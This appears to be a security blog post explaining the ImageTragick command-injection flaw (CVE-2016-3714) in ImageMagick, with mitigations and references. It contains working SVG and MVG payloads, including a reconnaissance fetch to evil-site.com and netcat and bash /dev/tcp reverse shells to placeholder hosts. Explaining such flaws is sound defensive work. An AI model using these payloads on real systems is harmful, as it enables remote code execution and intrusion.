There have been many high profile vulnerabilities discovered the last years. One of the most interesting vulnerabilities I have seen lately is the vulnerability in ImageMagick, a popular package used by a multitude of web services to process images. On May 2016, multiple vulnerabilities where disclosed for this package, one of which could potentially allow remote code execution (RCE).
Branded as ImageTragick and registered as CVE-2016–3714, this is the story of yet another popular bug deserving it’s own dedicated domain, name and logo.
What’s ImageMagick
The concept of ImageMagick is pretty cool. It allows a user to create and manipulate images programmatically, through different interfaces. These interfaces allow ImageMagick to be used from Java (JMagick), Ruby (RMagick or Paperclip), PHP (Imagick), NodeJS (ImageMagick) and others. In general many web applications use ImageMagick, which is why a vulnerability, which could lead to remote code execution had a big impact and why ImageTragick is looked at by many as the 2016 version of Shellshock.
How to exploit it
In this blog post I will focus on CVE-2016–3714 which describes a remote code execution attack through ImageMagick. A simple payload and scenario is the following:
Let’s assume that a web application allows the user to upload images as SVG files (Scalable Vector Graphics) and that the application will use the ImageMagick software to process the file and convert it to a more suitable format like PNG.
To initiate the exploit the attacker will upload the following:
# exploit.svg <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd";> <svg width="640px" height="480px" version="1.1" xmlns="http://www.w3.org/2000/svg"; xmlns:xlink= "http://www.w3.org/1999/xlink";> <image xlink:href="https://example.com/image.jpg"|ls "-la" x="0" y="0" height="640px" width="480px"/> </svg>
The observant reader will probably notice what seems to be a classic command injection on the field href of the image property.
When ImageMagick tries to process this file, e.g. by running:
$ convert exploit.svg exploit.png
The command ls -la will
be executed, which will break the image manipulation flow allowing the attacker to inject his/her own commands. This is a sort of "benign" exploit. A more serious exploit would be to retrieve a shell and execute it, granting a backdoor to the attacker.
Background
The cause of the vulnerability resides on a ‘neat’ feature of ImageMagick, which allows processing of files with external libraries (delegate). It is implemented with a system() call (Boy oh boy). Additionally, it supports fetching the resource from a URL.
Below is described what happens underneath, when you supply a malicious JPG to a vulnerable installation.
# poc.jpg push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.0/blah.jpg"|touch "rce1)' pop graphic-context
First and foremost we are describing the JPG file using MVG — Magick Vector Graphics (ImageMagick’s own language to describe vector/raster graphics). Note that both MVG and SVG are vulnerable, so it really doesn’t matter which one we use.
Secondly we are abusing the fill ‘url..’
function, which is used to fill our drawable area (viewbox
) with a pattern, be that a color pattern or an external image which will be downloaded at the time of the conversion. To download that external image the string inside the URL will be passed along to a wget OR curl call like this:
wget -q -O "%o" "https:%URL"
So the command will become:
wget -q -O "%o" "https://127.0.0.0/blah.jpg"|touch "rce1"
Executing wget
and then our payload - touch "rce1"
- which will create an empty file on the system.
Notice that the location is not localhost. This is on purpose, since the sooner the wget call fails, the sooner our payload is executed. However, most payloads will be downloading a shell or at least download a valid resource — by default wget retries downloading a resource for 20 times :)
Since the fill URL feature passes user input directly on to a system call, without proper sanitization, we can chain commands by first terminating the wget call and then inserting our own malicious payloads.
Real world scenarios
Obviously, such a vulnerability allows for a multitude of exploits to be created. The exploits can on a high level be split into two groups: reconnaissance ones and backdoors. The former is when attackers try to understand if the machine / service is vulnerable or not. This is easy: set up an Internet- facing web server and open up it’s access logs. Then build an exploit such as:
fill 'url(https://127.0.0.0/blah.jpg"|wget evil-site.com/tragick")'
If on the access logs some random machine tries to fetch this resource, your access log should light like a Christmas tree.
On to backdoors. We all know netcat. So by crafting an exploit like:
fill 'url(https://0.0.0.0/blah.jpg"|nc -e /bin/sh xx.xx.yy.zz 7331")'
And obviously having our netcat listener set up on xx.xx.yy.yy
listening on port 7331 we'd have a shell.
Another variation of this is:
fill 'url(https://\x22|setsid /bin/bash -i >/dev/tcp/xx.xx.yy.zz/443 0<&1 2>&1")'
Mitigations
Below I have highlighted some recommended ways of fixing the vulnerability.
-
Update. As usual, upgrading to the latest release should fix the problem (releases starting from 6.9.3–10 and 7.0.1–1 solve the problem).
-
Verifying all image files with expected magic bytes before passing the file for processing to ImageMagick
-
Using a policy file to disable vulnerable ImageMagick coders:
/etc/ImageMagick/policy.xml
-
Consider sandboxing the application: As always, in security you’re only as strong as your weakest link. Like any other library or software that bundles lots of features, the likelihood of having vulnerabilities is increased. So if you’re a developer, consider if you really need to use such a complex software, especially if you only use a small subset of its features.
References
-
https://blog.sucuri.net/2016/05/analyzing-imagetragick-exploits-in-the-wild.html
-
https://lcamtuf.blogspot.pt/2016/05/clearing-up-some-misconceptions-around.html
-
https://blog.cloudflare.com/inside-imagetragick-the-real-payloads-being-used-to-hack-websites-2/
-
https://www.imagemagick.org/discourse-server/viewtopic.php?p=132834#p132834
-
https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2016-3714
-
https://blog.sucuri.net/2016/05/analyzing-imagetragick-exploits-in-the-wild.html
-
http://resources.infosecinstitute.com/exploiting-imagetragick/